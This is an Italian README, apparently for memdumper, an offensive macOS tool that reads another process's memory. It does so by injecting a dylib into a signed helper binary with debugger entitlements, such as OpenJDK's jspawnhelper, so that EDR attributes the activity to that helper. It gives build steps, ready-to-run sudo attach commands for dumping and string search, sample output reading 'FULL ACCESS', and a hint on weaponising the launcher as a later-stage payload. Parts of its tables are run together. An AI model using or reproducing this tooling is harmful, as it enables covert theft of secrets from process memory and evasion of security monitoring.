
Abusa delle entitlement di debugger di macOS e di DYLD_INSERT_LIBRARIES per eseguire il dump o la ricerca nella memoria di un processo in esecuzione, spostando l'attribuzione EDR su un binario helper firmato.
memdumper legge la memoria di un processo macOS in esecuzione avvalendosi dell'entitlement debugger di un altro binario firmato. L'obiettivo è che task_for_pid e ptrace vengano eseguiti come quel binario autorizzato, così un EDR registra quello piuttosto che memdumper.
di cenobyte [email protected] 2026
https://github.com/cenobyte-vincit/memdumper
memdumper avvia un binario autorizzato che possiede com.apple.security.cs.debugger più i due entitlement che consentono l'inserimento di una DYLD_INSERT_LIBRARIES. Usalo per cercare e scaricare (dump) la memoria di un altro processo come root. jspawnhelper di OpenJDK è un binario che si trova comunemente, soprattutto sulle macchine degli sviluppatori.
Fornisci ad attach.sh un PID target e il binario autorizzato. Il costruttore della dylib viene eseguito prima della main di quel binario, legge il target e poi chiama _exit. Il binario autorizzato non raggiunge mai main, quindi un helper come jspawnhelper non stampa il suo messaggio di utilizzo. Gli argomenti extra dopo il binario autorizzato restano sulla riga di comando che un EDR registra. Senza -s la dylib esegue l'hex-dump dell'inizio di ogni regione leggibile. Con -s cerca la stringa in quelle regioni. Lo spazio degli indirizzi del target non viene scritto. L'attach con ptrace può fermare brevemente il target.
Lo stato del dump è la riga [RESULT] nell'output unificato. Un inserimento riuscito esce con 0 dopo che il costruttore ha terminato.
com.apple.security.cs.debugger, com.apple.security.cs.allow-dyld-environment-variables e com.apple.security.cs.disable-library-validation (ad esempio jspawnhelper di OpenJDK)clangmakeattach.sh e gli script di test (brew install shellcheck)brew install cppcheck)Sull'host di build:
make
Questo produce memdumper.dylib. Copia attach.sh e memdumper.dylib sul target se le macchine non sono le stesse.
Esegui attach.sh come root dalla directory che contiene memdumper.dylib. A un chiamante non root viene negato l'accesso prima che il binario autorizzato parta (root required). Questo evita la finestra di dialogo della password di Developer Tool Access (taskgated / Authorization Services). Quella finestra non è Transparency, Consent, and Control (TCC).
sudo ./attach.sh [options] -p <pid> <entitled-binary> [args...]
Conferma che un binario autorizzato candidato abbia i tre entitlement. Il prefisso Cellar e la versione di OpenJDK variano; attach.sh usa questo layout nel suo stesso help:
codesign -d --entitlements - \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Scarica le regioni leggibili del PID 4543:
sudo ./attach.sh -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Cerca HELLO in quel processo:
sudo ./attach.sh -s HELLO -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Limita il dump a 50 regioni leggibili, usando java come binario autorizzato. TestSpawn resta sulla riga di comando; la main di java non viene eseguita:
sudo ./attach.sh -n 50 -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/bin/java TestSpawn
Un editor senza Hardened Runtime è un buon target per un test rapido. Avvialo come utente proprietario del buffer, poi fai l'attach come root. In un terminale:
nano foo
Metti HELLO nel buffer così la stringa è nel processo (salva il file o lascialo non salvato). In un altro terminale, dalla directory che contiene memdumper.dylib:
sudo ./attach.sh -s HELLO -p "$(pgrep nano)" \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Un riscontro positivo si presenta così. Il processo esce quindi con 0:
Target: pid 9810 (nano)
Target has no hardened runtime
[MEMDUMPER] Injected into PID 9852 (UID 0)
[MEMDUMPER] Entitled binary: /opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
[MEMDUMPER] Target: PID 9810 (nano)
[METHOD1] task_for_pid() on PID 9810 (nano)
[*] Got task port 0x1013
[*] Task info: virt=425098.0MB res=8.3MB
[*] Threads: 1
[MEMORY SEARCH] Looking for "HELLO" in PID 9810
MATCH at 0xa70c60200 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c601d0: 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |O...............|
0x0000000a70c601e0: 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |#...............|
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 |./...|
MATCH at 0xa70c60230 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |./..............|
0x0000000a70c60250: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60260: 2f d9 b9 83 27 dc 6a ec 22 90 00 00 00 00 00 00 |/...'.j.".......|
0x0000000a70c60270: 00 00 00 00 00 |.....|
Search complete: 2 matches found in 70 regions
[METHOD2] ptrace(PT_ATTACHEXC) on PID 9810 (nano)
[*] Attached with ptrace
[*] Detached successfully
[METHOD3] proc_pidinfo() on PID 9810 (nano)
[*] Process info: virt=425098MB res=8MB threads=1
[RESULT] 3/3 methods successful - FULL ACCESS
[MEMDUMPER] Done
attach.sh non verifica gli entitlement del binario autorizzato. Un binario a cui manca uno qualsiasi dei tre fallisce all'inserimento o a task_for_pid.
| Code | Meaning |
|---|---|
| 0 | Costruttore terminato dopo un inserimento riuscito |
| 1 | Errore di utilizzo, non root, memdumper.dylib mancante nella directory corrente, -p mancante, PID target non trovato, Hardened Runtime senza --force, oppure l'inserimento non è avvenuto (il binario autorizzato è quindi stato eseguito ed è uscito con codice non zero) |
Leggi [RESULT] per l'esito del dump. L'uscita 0 significa solo che il costruttore è stato eseguito e ha chiamato _exit.
La dylib legge tre variabili d'ambiente. attach.sh le imposta a partire dalle opzioni.
Qualsiasi launcher che imposti DYLD_INSERT_LIBRARIES a memdumper.dylib e quelle variabili può iniettare la dylib. attach.sh è il launcher incluso nel progetto.
Sull'host di build, make compila la dylib ed esegue cppcheck e shellcheck. make test esegue i test unitari e la suite funzionale. Questi controlli non sono una prova di runtime pulito.
I test live di ricerca e dump richiedono Homebrew OpenJDK e uid 0. Cercano jspawnhelper con find sotto /opt/homebrew/Cellar e /usr/local/Cellar (senza versione fissata). Non chiamano sudo da soli. Senza Homebrew OpenJDK, o se la suite non è già uid 0, quei due casi vengono saltati (uscita 77), quindi un make test non root non presenta Developer Tool Access. Usa sudo make test quando vuoi che quelle iniezioni vengano eseguite.
make
make test
sudo make test
make test-unit
make test-functional
task_for_pid, ptrace e la lettura della memoria (1Password, Chrome). --force ci prova comunque e quasi sempre fallisce.taskgated valuta il diritto system.privilege.taskport di Authorization Services. Quella finestra non è TCC. La Developer Mode (DevToolsSecurity -enable) più l'appartenenza a admin o _developer non la sopprime per jspawnhelper di Homebrew (adhoc, entitlement debugger pubblico). Salta la password solo per gli strumenti firmati da Apple come lldb. System Integrity Protection (SIP) mantiene fuori portata i processi di sistema protetti anche da root.bash) rifiutano l'attach attraverso altri controlli.attach.sh cerca nella directory di lavoro corrente, non accanto allo script. Per armarlo completamente, implementa quel launcher in stage 1 o stage 2 invece di distribuire .system.privilege.taskport, i tre metodi, cosa registra un EDR| Option | Meaning |
|---|
-p, --pid PID | ID del processo target (obbligatorio) |
-s, --search STRING | Cerca STRING nelle regioni leggibili |
-n, --max-regions N | Numero massimo di regioni leggibili da hex-dumpare (default 100). Solo nel percorso di dump |
-f, --force | Continua quando codesign segnala Hardened Runtime |
-h, --help | Stampa l'utilizzo (uscita 1) |
| Variable | Set by | Meaning |
|---|
MEMDUMPER_TARGET_PID | -p | PID del target. Se non impostata o non è un intero positivo, il costruttore stampa una diagnostica e ritorna |
MEMDUMPER_SEARCH | -s | Se non vuota, cerca invece di fare il dump |
MEMDUMPER_MAX_REGIONS | -n | Regioni leggibili da hex-dumpare (default 100). Ignorata nel percorso di ricerca |
memdumper.dylibattach.sh-n / MEMDUMPER_MAX_REGIONS, default 100).ptrace è solo attach e detach. Non scarica memoria. [RESULT] 3/3 significa che tutte e tre le chiamate sono riuscite, non che sono stati eseguiti tre percorsi di dump.DYLD_INSERT_LIBRARIES. I threat hunter usano quel campo per individuare questo inserimento.